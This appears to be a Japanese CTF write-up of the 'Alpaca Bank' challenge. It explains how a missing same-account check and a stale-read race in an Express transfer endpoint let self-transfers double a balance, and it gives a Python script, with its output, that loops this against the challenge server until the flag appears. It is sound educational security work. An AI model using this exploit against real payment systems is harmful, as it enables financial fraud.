1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Writeup for Alpaca Bank

Last updated at Posted at 2025-12-11

はじめに

Daily AlpacaHackの2025年12月11日の問題を解いたので、writeupを書いてみます。

Alpaca Bank

🦙 < 銀行を作ってみるパカ!

  • NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。
  • NOTE2: この問題は trillion bank - SECCON CTF 13 Quals のオマージュですが、元問題の知識は不要です。

概要

http://34.170.146.252:30021にアクセスすると、次のような画面が表示されます。

first

You have to earn one trillion yen to get the flag.

とあるので、一兆円稼げばFlagが貰えるらしいです。

このWebアプリの主要な機能はapp.jsに書かれていそうです。

app.js
const express = require('express');
const crypto = require('crypto');
const path = require('path');
const app = express();

const FLAG = process.env.FLAG ?? "Alpaca{**** REDACTED ****}";
const TRILLION = 1_000_000_000_000;

app.use(express.json());

const users = new Set();
const balances = new Map();

app.post('/api/register', (req, res) => {
    const id = crypto.randomBytes(10).toString('hex');
    users.add(id);
    balances.set(id, 10); // Initial balance
    res.status(201).json({ user: id });
});

app.get('/api/user/:user', (req, res) => {
    const user = req.params.user;
    if (!users.has(user)) return res.status(404).send({ error: 'User not found' });
    res.status(200).json({
        user: user,
        balance: balances.get(user),
        flag: balances.get(user) >= TRILLION ? FLAG : null // 🚩
    });
});

app.post('/api/transfer', (req, res) => {
    const { fromUser, toUser, amount } = req.body;

    if (!Number.isInteger(amount) || amount <= 0) {
        return res.status(400).send({ error: 'Invalid amount' });
    }
    if (!users.has(fromUser) || !users.has(toUser)) {
        return res.status(400).send({ error: 'Invalid user ID' });
    }

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);
    if (fromBalance < amount) {
        return res.status(400).send({ error: 'Insufficient funds' });
    }
    
    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

    res.status(200).json({
        receipt: `${fromUser} -> ${toUser} (${amount} yen)`
    });
});

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'index.html'));
});

app.listen(3000, () => {
    console.log('Server listening on port 3000');
});

次のような動作をしていることがわかります。

app.post('/api/register', (req, res) => {
    const id = crypto.randomBytes(10).toString('hex');
    users.add(id);
    balances.set(id, 10); // Initial balance
    res.status(201).json({ user: id });
});

↑ユーザー登録をすると残高が10円として登録されるようです。

app.get('/api/user/:user', (req, res) => {
    const user = req.params.user;
    if (!users.has(user)) return res.status(404).send({ error: 'User not found' });
    res.status(200).json({
        user: user,
        balance: balances.get(user),
        flag: balances.get(user) >= TRILLION ? FLAG : null // 🚩
    });
});

/api/user/:userを見ると、残高が一兆円を超えるとJSONレスポンスの flag キーにFLAGが代入されるようです。

app.post('/api/transfer', (req, res) => {
    const { fromUser, toUser, amount } = req.body;

    if (!Number.isInteger(amount) || amount <= 0) {
        return res.status(400).send({ error: 'Invalid amount' });
    }
    if (!users.has(fromUser) || !users.has(toUser)) {
        return res.status(400).send({ error: 'Invalid user ID' });
    }

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);
    if (fromBalance < amount) {
        return res.status(400).send({ error: 'Insufficient funds' });
    }
    
    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

    res.status(200).json({
        receipt: `${fromUser} -> ${toUser} (${amount} yen)`
    });
});

↑ユーザー間での送金機能のようです。
この部分をよくみてみると、fromUserとtoUserが一致していないことを確認する機能がないとわかります。つまり、自分に送金することができるようです。

さらに注目したいのは次の部分です。

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);
    if (fromBalance < amount) {
        return res.status(400).send({ error: 'Insufficient funds' });
    }

    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

送金する人の残高と送金される人の残高は、それぞれ変数fromBalanceToBalanceに代入されて送金処理が行われています。つまり、自分から自分に送金する場合、自分の残高がfromBalancetoBalanceのどちらにも代入されます。

つまり、自分に対して送金を行うと、送金した分だけ残高が増えるということです。

解法

残高の全額を自分に送金することを繰り返せば、Flagの取得ができそうです。初期残高が10円なので、数十回繰り返せば良さそうです。

手動で行うこともできますが、APIを叩いて自動化させましょう。

solve.py
import requests

base_url = "http://34.170.146.252:30021"

print("Registering user...")
#登録APIを叩く
response = requests.post(f"{base_url}/api/register", json={})

#結果を確認
if response.status_code == 201:
    data = response.json()
    my_user_id = data["user"]
    print(f"Registered successfully. User ID: {my_user_id}")
else:
    print(f"Registration failed: {response.text}")
    

print("Step2: Check the initial balance...")
# urlの中にIDを埋め込む
url = f"{base_url}/api/user/{my_user_id}"

response = requests.get(url)
data = response.json()

current_balance = data["balance"]
print(f"Current balance: {current_balance} yen.")


print("Step3: post to me...")

target_amount = 1_000_000_000_000

#現在の残高が1兆円になるまで繰り返す
while current_balance < target_amount:
    payload = {
        "fromUser": my_user_id,
        "toUser": my_user_id,
        "amount": current_balance
    }

    #送信APIを叩く
    response = requests.post(f"{base_url}/api/transfer", json=payload)

    if response.status_code == 200:
        print("Transfer successful.")
        current_balance = current_balance * 2
        print(f"New balance: {current_balance} yen.")
    else:
        print(f"Transfer failed: {response.text}")
        break
    
print("Check the Flag...")

response = requests.get(f"{base_url}/api/user/{my_user_id}")
data = response.json()

if "flag" in data:
    print(f"Flag: {data['flag']}")
else:
    print("Flag not found.")

実行結果

$ python solve.py
Registering user...
Registered successfully. User ID: c29c7fd3bc380516fe83
Step2: Check the initial balance...
Current balance: 10 yen.
Step3: post to me...
Transfer successful.
New balance: 20 yen.
Transfer successful.
New balance: 40 yen.
Transfer successful.
New balance: 80 yen.
Transfer successful.
New balance: 160 yen.
Transfer successful.
New balance: 320 yen.
Transfer successful.
New balance: 640 yen.
Transfer successful.
New balance: 1280 yen.
Transfer successful.
New balance: 2560 yen.
Transfer successful.
New balance: 5120 yen.
Transfer successful.
New balance: 10240 yen.
Transfer successful.
New balance: 20480 yen.
Transfer successful.
New balance: 40960 yen.
Transfer successful.
New balance: 81920 yen.
Transfer successful.
New balance: 163840 yen.
Transfer successful.
New balance: 327680 yen.
Transfer successful.
New balance: 655360 yen.
Transfer successful.
New balance: 1310720 yen.
Transfer successful.
New balance: 2621440 yen.
Transfer successful.
New balance: 5242880 yen.
Transfer successful.
New balance: 10485760 yen.
Transfer successful.
New balance: 20971520 yen.
Transfer successful.
New balance: 41943040 yen.
Transfer successful.
New balance: 83886080 yen.
Transfer successful.
New balance: 167772160 yen.
Transfer successful.
New balance: 335544320 yen.
Transfer successful.
New balance: 671088640 yen.
Transfer successful.
New balance: 1342177280 yen.
Transfer successful.
New balance: 2684354560 yen.
Transfer successful.
New balance: 5368709120 yen.
Transfer successful.
New balance: 10737418240 yen.
Transfer successful.
New balance: 21474836480 yen.
Transfer successful.
New balance: 42949672960 yen.
Transfer successful.
New balance: 85899345920 yen.
Transfer successful.
New balance: 171798691840 yen.
Transfer successful.
New balance: 343597383680 yen.
Transfer successful.
New balance: 687194767360 yen.
Transfer successful.
New balance: 1374389534720 yen.
Check the Flag...
Flag: Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}

Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}が得られました!

おわりに

フラグにもあるように、今週末(執筆時点)にはSECCON CTF 14の予選が開催されますね!参加される皆さん、頑張りましょう!!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?